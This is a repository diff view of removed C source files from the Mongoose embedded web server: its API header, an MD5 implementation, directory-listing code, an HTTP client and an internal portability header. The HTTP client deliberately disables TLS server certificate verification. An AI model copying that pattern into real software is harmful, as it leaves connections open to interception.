// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
//
// NOTE: Detailed API documentation is at http://cesanta.com/docs.html
#ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED
#include <stdio.h> // required for FILE
#include <stddef.h> // required for size_t
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
// This structure contains information about HTTP request.
struct mg_connection {
const char *request_method; // "GET", "POST", etc
const char *uri; // URL-decoded URI
const char *http_version; // E.g. "1.0", "1.1"
const char *query_string; // URL part after '?', not including '?', or NULL
char remote_ip[48]; // Max IPv6 string length is 45 characters
int remote_port; // Client's port
int num_headers; // Number of HTTP headers
struct mg_header {
const char *name; // HTTP header name
const char *value; // HTTP header value
} http_headers[30];
char *content; // POST (or websocket message) data, or NULL
int content_len; // content length
int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler
unsigned char wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_add_uri_handler()
void *connection_param; // Placeholder for connection-specific data
};
struct mg_server; // Opaque structure describing server instance
typedef int (*mg_handler_t)(struct mg_connection *);
// Server management functions
struct mg_server *mg_create_server(void *server_param);
void mg_destroy_server(struct mg_server **);
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
void mg_poll_server(struct mg_server *, int milliseconds);
void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t);
void mg_set_error_handler(struct mg_server *, mg_handler_t);
void mg_set_log_handler(struct mg_server*, mg_handler_t);
const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name);
int mg_iterate_over_connections(struct mg_server *,
void (*func)(struct mg_connection *, void *),
void *param);
// Connection management functions
int mg_write(struct mg_connection *, const void *buf, int len);
int mg_websocket_write(struct mg_connection *, int opcode,
const char *data, size_t data_len);
const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *file_name);
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
// Utility functions
int mg_start_thread(void *(*func)(void *), void *param);
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // MONGOOSE_HEADER_INCLUDED
build/src/crypto.c
-196
View File
@@ -1,196 +0,0 @@
static int is_big_endian(void) {
static const int n = 1;
return ((char *) &n)[0] == 0;
}
#ifndef HAVE_MD5
typedef struct MD5Context {
uint32_t buf[4];
uint32_t bits[2];
unsigned char in[64];
} MD5_CTX;
static void byteReverse(unsigned char *buf, unsigned longs) {
uint32_t t;
// Forrest: MD5 expect LITTLE_ENDIAN, swap if BIG_ENDIAN
if (is_big_endian()) {
do {
t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
((unsigned) buf[1] << 8 | buf[0]);
* (uint32_t *) buf = t;
buf += 4;
} while (--longs);
}
}
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
#define MD5STEP(f, w, x, y, z, data, s) \
( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
// Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
// initialization constants.
static void MD5Init(MD5_CTX *ctx) {
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bits[0] = 0;
ctx->bits[1] = 0;
}
static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
register uint32_t a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
uint32_t t;
t = ctx->bits[0];
if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
ctx->bits[1]++;
ctx->bits[1] += len >> 29;
t = (t >> 3) & 0x3f;
if (t) {
unsigned char *p = (unsigned char *) ctx->in + t;
t = 64 - t;
if (len < t) {
memcpy(p, buf, len);
return;
}
memcpy(p, buf, t);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += t;
len -= t;
}
while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += 64;
len -= 64;
}
memcpy(ctx->in, buf, len);
}
static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
unsigned count;
unsigned char *p;
uint32_t *a;
count = (ctx->bits[0] >> 3) & 0x3F;
p = ctx->in + count;
*p++ = 0x80;
count = 64 - 1 - count;
if (count < 8) {
memset(p, 0, count);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
memset(ctx->in, 0, 56);
} else {
memset(p, 0, count - 8);
}
byteReverse(ctx->in, 14);
a = (uint32_t *)ctx->in;
a[14] = ctx->bits[0];
a[15] = ctx->bits[1];
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
byteReverse((unsigned char *) ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset((char *) ctx, 0, sizeof(*ctx));
}
#endif // !HAVE_MD5
build/src/directory.c
-271
View File
@@ -1,271 +0,0 @@
#include "internal.h"
static void print_dir_entry(const struct de *de) {
char size[64], mod[64], href[PATH_MAX * 3];
const char *slash = de->file.is_directory ? "/" : "";
if (de->file.is_directory) {
mg_snprintf(size, sizeof(size), "%s", "[DIRECTORY]");
} else {
// We use (signed) cast below because MSVC 6 compiler cannot
// convert unsigned __int64 to double. Sigh.
if (de->file.size < 1024) {
mg_snprintf(size, sizeof(size), "%d", (int) de->file.size);
} else if (de->file.size < 0x100000) {
mg_snprintf(size, sizeof(size),
"%.1fk", (double) de->file.size / 1024.0);
} else if (de->file.size < 0x40000000) {
mg_snprintf(size, sizeof(size),
"%.1fM", (double) de->file.size / 1048576);
} else {
mg_snprintf(size, sizeof(size),
"%.1fG", (double) de->file.size / 1073741824);
}
}
strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M",
localtime(&de->file.modification_time));
mg_url_encode(de->file_name, href, sizeof(href));
de->conn->num_bytes_sent += mg_chunked_printf(de->conn,
"<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
de->conn->request_info.uri, href, slash, de->file_name, slash, mod, size);
}
// This function is called from send_directory() and used for
// sorting directory entries by size, or name, or modification time.
// On windows, __cdecl specification is needed in case if project is built
// with __stdcall convention. qsort always requires __cdels callback.
static int WINCDECL compare_dir_entries(const void *p1, const void *p2) {
const struct de *a = (const struct de *) p1, *b = (const struct de *) p2;
const char *query_string = a->conn->request_info.query_string;
int cmp_result = 0;
if (query_string == NULL) {
query_string = "na";
}
if (a->file.is_directory && !b->file.is_directory) {
return -1; // Always put directories on top
} else if (!a->file.is_directory && b->file.is_directory) {
return 1; // Always put directories on top
} else if (*query_string == 'n') {
cmp_result = strcmp(a->file_name, b->file_name);
} else if (*query_string == 's') {
cmp_result = a->file.size == b->file.size ? 0 :
a->file.size > b->file.size ? 1 : -1;
} else if (*query_string == 'd') {
cmp_result = a->file.modification_time == b->file.modification_time ? 0 :
a->file.modification_time > b->file.modification_time ? 1 : -1;
}
return query_string[1] == 'd' ? -cmp_result : cmp_result;
}
static int must_hide_file(struct mg_connection *conn, const char *path) {
const char *pw_pattern = "**" PASSWORDS_FILE_NAME "$";
const char *pattern = conn->ctx->config[HIDE_FILES];
return match_prefix(pw_pattern, strlen(pw_pattern), path) > 0 ||
(pattern != NULL && match_prefix(pattern, strlen(pattern), path) > 0);
}
static int scan_directory(struct mg_connection *conn, const char *dir,
void *data, void (*cb)(struct de *, void *)) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir and hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..") ||
must_hide_file(conn, dp->d_name)) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
de.file_name = dp->d_name;
cb(&de, data);
}
(void) closedir(dirp);
}
return 1;
}
static int remove_directory(struct mg_connection *conn, const char *dir) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir, but show hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..")) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
if(de.file.modification_time) {
if(de.file.is_directory) {
remove_directory(conn, path);
} else {
mg_remove(path);
}
}
}
(void) closedir(dirp);
rmdir(dir);
}
return 1;
}
struct dir_scan_data {
struct de *entries;
int num_entries;
int arr_size;
};
// Behaves like realloc(), but frees original pointer on failure
static void *realloc2(void *ptr, size_t size) {
void *new_ptr = realloc(ptr, size);
if (new_ptr == NULL) {
free(ptr);
}
return new_ptr;
}
static void dir_scan_callback(struct de *de, void *data) {
struct dir_scan_data *dsd = (struct dir_scan_data *) data;
if (dsd->entries == NULL || dsd->num_entries >= dsd->arr_size) {
dsd->arr_size *= 2;
dsd->entries = (struct de *) realloc2(dsd->entries, dsd->arr_size *
sizeof(dsd->entries[0]));
}
if (dsd->entries == NULL) {
// TODO(lsm): propagate an error to the caller
dsd->num_entries = 0;
} else {
dsd->entries[dsd->num_entries].file_name = mg_strdup(de->file_name);
dsd->entries[dsd->num_entries].file = de->file;
dsd->entries[dsd->num_entries].conn = de->conn;
dsd->num_entries++;
}
}
static void handle_directory_request(struct mg_connection *conn,
const char *dir) {
int i, sort_direction;
struct dir_scan_data data = { NULL, 0, 128 };
if (!scan_directory(conn, dir, &data, dir_scan_callback)) {
send_http_error(conn, 500, "Cannot open directory",
"Error: opendir(%s): %s", dir, strerror(ERRNO));
return;
}
sort_direction = conn->request_info.query_string != NULL &&
conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
conn->must_close = 1;
mg_printf(conn, "%s",
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: Chunked\r\n"
"Content-Type: text/html; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_chunked_printf(conn,
"<html><head><title>Index of %s</title>"
"<style>th {text-align: left;}</style></head>"
"<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
"<tr><th><a href=\"?n%c\">Name</a></th>"
"<th><a href=\"?d%c\">Modified</a></th>"
"<th><a href=\"?s%c\">Size</a></th></tr>"
"<tr><td colspan=\"3\"><hr></td></tr>",
conn->request_info.uri, conn->request_info.uri,
sort_direction, sort_direction, sort_direction);
// Print first entry - link to a parent directory
conn->num_bytes_sent += mg_chunked_printf(conn,
"<tr><td><a href=\"%s%s\">%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
conn->request_info.uri, "..", "Parent directory", "-", "-");
// Sort and print directory entries
qsort(data.entries, (size_t) data.num_entries, sizeof(data.entries[0]),
compare_dir_entries);
for (i = 0; i < data.num_entries; i++) {
print_dir_entry(&data.entries[i]);
free(data.entries[i].file_name);
}
free(data.entries);
conn->num_bytes_sent += mg_chunked_printf(conn, "%s",
"</table></body></html>");
conn->num_bytes_sent += mg_write(conn, "0\r\n\r\n", 5);
conn->status_code = 200;
}
// For a given PUT path, create all intermediate subdirectories
// for given path. Return 0 if the path itself is a directory,
// or -1 on error, 1 if OK.
static int put_dir(const char *path) {
char buf[PATH_MAX];
const char *s, *p;
struct file file = STRUCT_FILE_INITIALIZER;
int len, res = 1;
for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {
len = p - path;
if (len >= (int) sizeof(buf)) {
res = -1;
break;
}
memcpy(buf, path, len);
buf[len] = '\0';
// Try to create intermediate directory
DEBUG_TRACE(("mkdir(%s)", buf));
if (!mg_stat(buf, &file) && mg_mkdir(buf, 0755) != 0) {
res = -1;
break;
}
// Is path itself a directory?
if (p[1] == '\0') {
res = 0;
}
}
return res;
}
build/src/http_client.c
-97
View File
@@ -1,97 +0,0 @@
#include "internal.h"
static SOCKET conn2(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
struct sockaddr_in sin;
struct hostent *he = NULL;
SOCKET sock = INVALID_SOCKET;
(void) use_ssl; // Prevent warning for -DNO_SSL case
if (host == NULL) {
snprintf(ebuf, ebuf_len, "%s", "NULL host");
#ifndef NO_SSL
} else if (use_ssl && SSLv23_client_method == NULL) {
snprintf(ebuf, ebuf_len, "%s", "SSL is not initialized");
// TODO(lsm): use something threadsafe instead of gethostbyname()
#endif
} else if ((he = gethostbyname(host)) == NULL) {
snprintf(ebuf, ebuf_len, "gethostbyname(%s): %s", host, strerror(ERRNO));
} else if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
snprintf(ebuf, ebuf_len, "socket(): %s", strerror(ERRNO));
} else {
set_close_on_exec(sock);
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) != 0) {
snprintf(ebuf, ebuf_len, "connect(%s:%d): %s",
host, port, strerror(ERRNO));
closesocket(sock);
sock = INVALID_SOCKET;
}
}
return sock;
}
struct mg_connection *mg_connect(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
static struct mg_context fake_ctx;
struct mg_connection *conn = NULL;
SOCKET sock;
if ((sock = conn2(host, port, use_ssl, ebuf, ebuf_len)) == INVALID_SOCKET) {
} else if ((conn = (struct mg_connection *)
calloc(1, sizeof(*conn) + MAX_REQUEST_SIZE)) == NULL) {
snprintf(ebuf, ebuf_len, "calloc(): %s", strerror(ERRNO));
closesocket(sock);
#ifndef NO_SSL
} else if (use_ssl && (conn->client_ssl_ctx =
SSL_CTX_new(SSLv23_client_method())) == NULL) {
snprintf(ebuf, ebuf_len, "SSL_CTX_new error");
closesocket(sock);
free(conn);
conn = NULL;
#endif // NO_SSL
} else {
socklen_t len = sizeof(struct sockaddr);
conn->buf_size = MAX_REQUEST_SIZE;
conn->buf = (char *) (conn + 1);
conn->ctx = &fake_ctx;
conn->client.sock = sock;
getsockname(sock, &conn->client.rsa.sa, &len);
conn->client.is_ssl = use_ssl;
#ifndef NO_SSL
if (use_ssl) {
// SSL_CTX_set_verify call is needed to switch off server certificate
// checking, which is off by default in OpenSSL and on in yaSSL.
SSL_CTX_set_verify(conn->client_ssl_ctx, 0, 0);
sslize(conn, conn->client_ssl_ctx, SSL_connect);
}
#endif
}
return conn;
}
struct mg_connection *mg_download(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len,
const char *fmt, ...) {
struct mg_connection *conn;
const char *msg = NULL;
va_list ap;
va_start(ap, fmt);
if ((conn = mg_connect(host, port, use_ssl, ebuf, ebuf_len)) == NULL) {
} else if (mg_vprintf(conn, fmt, ap) <= 0) {
snprintf(ebuf, ebuf_len, "%s", "Error sending request");
} else {
msg = getreq(conn);
}
if (msg != NULL && conn != NULL) {
mg_close_connection(conn);
conn = NULL;
}
return conn;
}
build/src/internal.h
-458
View File
@@ -1,458 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
#if defined(_WIN32)
#undef _UNICODE
#define _MBCS
#if !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#endif
#else
#ifdef __linux__
#define _XOPEN_SOURCE 600 // For flockfile() on Linux
#endif
#if !defined(_LARGEFILE_SOURCE)
#define _LARGEFILE_SOURCE // Enable 64-bit file offsets
#endif
#define __STDC_FORMAT_MACROS // <inttypes.h> wants this for C++
#define __STDC_LIMIT_MACROS // C++ wants that for INT64_MAX
#endif
#if defined (_MSC_VER)
// conditional expression is constant: introduced by FD_SET(..)
#pragma warning (disable : 4127)
// non-constant aggregate initializer: issued due to missing C99 support
#pragma warning (disable : 4204)
#endif
// Disable WIN32_LEAN_AND_MEAN.
// This makes windows.h always include winsock2.h
#ifdef WIN32_LEAN_AND_MEAN
#undef WIN32_LEAN_AND_MEAN
#endif
#ifndef _WIN32_WCE // Some ANSI #includes are not available on Windows CE
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#endif // !_WIN32_WCE
#include <time.h>
#include <stdlib.h>
#include <stdarg.h>
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <limits.h>
#include <stddef.h>
#include <stdio.h>
#if defined(_WIN32) // Windows specific
#undef _WIN32_WINNT
#define _WIN32_WINNT 0x0400 // To make it link in VS2005
#include <windows.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef _WIN32_WCE
#include <process.h>
#include <direct.h>
#include <io.h>
#else // _WIN32_WCE
#define NO_CGI // WinCE has no pipes
typedef long off_t;
#define errno GetLastError()
#define strerror(x) _ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
#endif // _WIN32_WCE
#define MAKEUQUAD(lo, hi) ((uint64_t)(((uint32_t)(lo)) | \
((uint64_t)((uint32_t)(hi))) << 32))
#define RATE_DIFF 10000000 // 100 nsecs
#define EPOCH_DIFF MAKEUQUAD(0xd53e8000, 0x019db1de)
#define SYS2UNIX_TIME(lo, hi) \
(time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
// Visual Studio 6 does not know __func__ or __FUNCTION__
// The rest of MS compilers use __FUNCTION__, not C99 __func__
// Also use _strtoui64 on modern M$ compilers
#if defined(_MSC_VER) && _MSC_VER < 1300
#define STRX(x) #x
#define STR(x) STRX(x)
#define __func__ __FILE__ ":" STR(__LINE__)
#define strtoull(x, y, z) (unsigned __int64) _atoi64(x)
#define strtoll(x, y, z) _atoi64(x)
#else
#define __func__ __FUNCTION__
#define strtoull(x, y, z) _strtoui64(x, y, z)
#define strtoll(x, y, z) _strtoi64(x, y, z)
#endif // _MSC_VER
#define ERRNO GetLastError()
#define NO_SOCKLEN_T
#define SSL_LIB "ssleay32.dll"
#define CRYPTO_LIB "libeay32.dll"
#define O_NONBLOCK 0
#if !defined(EWOULDBLOCK)
#define EWOULDBLOCK WSAEWOULDBLOCK
#endif // !EWOULDBLOCK
#define _POSIX_
#define INT64_FMT "I64d"
#define WINCDECL __cdecl
#define SHUT_WR 1
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define mg_sleep(x) Sleep(x)
#define pipe(x) _pipe(x, MG_BUF_LEN, _O_BINARY)
#ifndef popen
#define popen(x, y) _popen(x, y)
#endif
#ifndef pclose
#define pclose(x) _pclose(x)
#endif
#define close(x) _close(x)
#define dlsym(x,y) GetProcAddress((HINSTANCE) (x), (y))
#define RTLD_LAZY 0
#define fseeko(x, y, z) _lseeki64(_fileno(x), (y), (z))
#define fdopen(x, y) _fdopen((x), (y))
#define write(x, y, z) _write((x), (y), (unsigned) z)
#define read(x, y, z) _read((x), (y), (unsigned) z)
#define flockfile(x)
#define funlockfile(x)
#define sleep(x) Sleep((x) * 1000)
#define rmdir(x) _rmdir(x)
#if !defined(va_copy)
#define va_copy(x, y) x = y
#endif // !va_copy MINGW #defines va_copy
#if !defined(fileno)
#define fileno(x) _fileno(x)
#endif // !fileno MINGW #defines fileno
typedef HANDLE pthread_mutex_t;
typedef DWORD pthread_t;
#define pid_t HANDLE // MINGW typedefs pid_t to int. Using #define here.
static int pthread_mutex_lock(pthread_mutex_t *);
static int pthread_mutex_unlock(pthread_mutex_t *);
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len);
#if defined(HAVE_STDINT)
#include <stdint.h>
#else
typedef unsigned int uint32_t;
typedef unsigned short uint16_t;
typedef unsigned __int64 uint64_t;
typedef __int64 int64_t;
#define INT64_MAX 9223372036854775807
#endif // HAVE_STDINT
// POSIX dirent interface
struct dirent {
char d_name[PATH_MAX];
};
typedef struct DIR {
HANDLE handle;
WIN32_FIND_DATAW info;
struct dirent result;
} DIR;
struct pollfd {
SOCKET fd;
short events;
short revents;
};
#define POLLIN 1
#ifdef HAVE_POLL
#define poll(x, y, z) WSAPoll((x), (y), (z))
#endif
// Mark required libraries
#ifdef _MSC_VER
#pragma comment(lib, "Ws2_32.lib")
#endif
#else // UNIX specific
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <stdint.h>
#include <inttypes.h>
#include <netdb.h>
#include <pwd.h>
#include <unistd.h>
#include <dirent.h>
#if !defined(NO_SSL_DL) && !defined(NO_SSL)
#include <dlfcn.h>
#endif
#include <pthread.h>
#if defined(__MACH__)
#define SSL_LIB "libssl.dylib"
#define CRYPTO_LIB "libcrypto.dylib"
#else
#if !defined(SSL_LIB)
#define SSL_LIB "libssl.so"
#endif
#if !defined(CRYPTO_LIB)
#define CRYPTO_LIB "libcrypto.so"
#endif
#endif
#ifndef O_BINARY
#define O_BINARY 0
#endif // O_BINARY
#define closesocket(a) close(a)
#define mg_mkdir(x, y) mkdir(x, y)
#define mg_remove(x) remove(x)
#define mg_sleep(x) usleep((x) * 1000)
#define ERRNO errno
#define INVALID_SOCKET (-1)
#define INT64_FMT PRId64
typedef int SOCKET;
#define WINCDECL
#endif // End of Windows and UNIX specific includes
#include "mongoose.h"
#define MONGOOSE_VERSION "5.0"
#define PASSWORDS_FILE_NAME ".htpasswd"
#define CGI_ENVIRONMENT_SIZE 4096
#define MAX_CGI_ENVIR_VARS 64
#define MG_BUF_LEN 8192
#define MAX_REQUEST_SIZE 16384
#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
typedef SOCKET sock_t;
#ifdef DEBUG_TRACE
#undef DEBUG_TRACE
#define DEBUG_TRACE(x)
#else
#if defined(DEBUG)
#define DEBUG_TRACE(x) do { \
flockfile(stdout); \
printf("*** %lu.%p.%s.%d: ", \
(unsigned long) time(NULL), (void *) pthread_self(), \
__func__, __LINE__); \
printf x; \
putchar('\n'); \
fflush(stdout); \
funlockfile(stdout); \
} while (0)
#else
#define DEBUG_TRACE(x)
#endif // DEBUG
#endif // DEBUG_TRACE
// Darwin prior to 7.0 and Win32 do not have socklen_t
#ifdef NO_SOCKLEN_T
typedef int socklen_t;
#endif // NO_SOCKLEN_T
#define _DARWIN_UNLIMITED_SELECT
#define IP_ADDR_STR_LEN 50 // IPv6 hex string is 46 chars
#if !defined(MSG_NOSIGNAL)
#define MSG_NOSIGNAL 0
#endif
#if !defined(SOMAXCONN)
#define SOMAXCONN 100
#endif
#if !defined(PATH_MAX)
#define PATH_MAX 4096
#endif
// Size of the accepted socket queue
#if !defined(MGSQLEN)
#define MGSQLEN 20
#endif
// Extra HTTP headers to send in every static file reply
#if !defined(EXTRA_HTTP_HEADERS)
#define EXTRA_HTTP_HEADERS ""
#endif
static const char *http_500_error = "Internal Server Error";
#if defined(NO_SSL_DL)
#include <openssl/ssl.h>
#include <openssl/err.h>
#else
// SSL loaded dynamically from DLL.
// I put the prototypes here to be independent from OpenSSL source installation.
typedef struct ssl_st SSL;
typedef struct ssl_method_st SSL_METHOD;
typedef struct ssl_ctx_st SSL_CTX;
struct ssl_func {
const char *name; // SSL function name
void (*ptr)(void); // Function pointer
};
#define SSL_free (* (void (*)(SSL *)) ssl_sw[0].ptr)
#define SSL_accept (* (int (*)(SSL *)) ssl_sw[1].ptr)
#define SSL_connect (* (int (*)(SSL *)) ssl_sw[2].ptr)
#define SSL_read (* (int (*)(SSL *, void *, int)) ssl_sw[3].ptr)
#define SSL_write (* (int (*)(SSL *, const void *,int)) ssl_sw[4].ptr)
#define SSL_get_error (* (int (*)(SSL *, int)) ssl_sw[5].ptr)
